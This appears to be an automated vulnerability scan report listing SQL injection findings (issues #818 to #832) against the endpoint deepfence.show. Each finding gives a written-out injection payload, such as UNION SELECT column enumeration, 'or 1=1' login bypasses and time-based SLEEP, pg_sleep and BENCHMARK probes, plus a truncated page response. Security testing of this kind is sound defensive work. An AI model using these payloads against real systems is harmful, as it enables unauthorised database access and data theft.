language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #818
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89Issue Number #819
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io''
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #820
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #821
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(
88)+CHAR(88)+CHAR(88)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #822
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #823
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioadmin' or 1=1#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #824
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 10#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #825
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@deepfence.io 1)) or pg_sleep(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #826
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io" OR "" = "
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #827
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),3,4#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #828
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #829
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioadmin' or 1=1/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #830Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #831
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #832
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
